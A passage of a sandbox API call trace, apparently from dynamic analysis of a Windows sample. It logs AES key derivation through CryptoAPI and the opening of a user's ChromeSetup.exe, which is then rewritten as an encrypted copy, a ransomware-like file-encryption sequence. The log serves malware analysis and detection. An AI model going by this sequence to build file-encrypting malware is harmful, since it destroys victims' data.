lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.157] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.158] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.159] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178800, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.159] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41787a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.159] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.exe", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0026.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.exe", cchWideChar=47, lpMultiByteStr=0xe8f404bf10, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.exe", lpUsedDefaultChar=0x0) returned 47 [0026.159] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.exe" (normalized: "c:\\users\\5jghkoaofdp\\downloads\\chromesetup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=47, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0026.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=47, lpWideCharStr=0xe8f4062330, cchWideChar=47 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.exe") returned 47 [0026.162] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.163] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.163] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.163] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.163] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.164] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.164] CloseHandle (hObject=0x188) returned 1 [0026.164] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.164] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.164] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.164] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.164] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.164] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.164] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.164] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.164] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.164] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.164] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.165] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.165] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.165] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.165] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.165] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.165] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.165] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.165] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.165] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.166] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.166] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.166] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.166] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.166] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.166] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.166] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.167] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.167] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.167] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.167] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.167] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bb40, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.167] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.167] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.168] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.168] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.168] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.168] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0026.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.168] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.168] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.168] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.168] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0026.169] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.171] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.171] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.171] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.171] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.171] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.exe" (normalized: "c:\\users\\5jghkoaofdp\\downloads\\chromesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.171] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.171] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.171] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.171] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.171] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.172] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Downloads\\" (normalized: "c:\\users\\5jghkoaofdp\\downloads")) returned 0x11 [0026.172] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Downloads\\ChromeSetup.encrypted.exe" (normalized: "c:\\users\\5jghkoaofdp\\downloads\\chromesetup.encrypted.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.172] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.174] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.174] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.178] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, 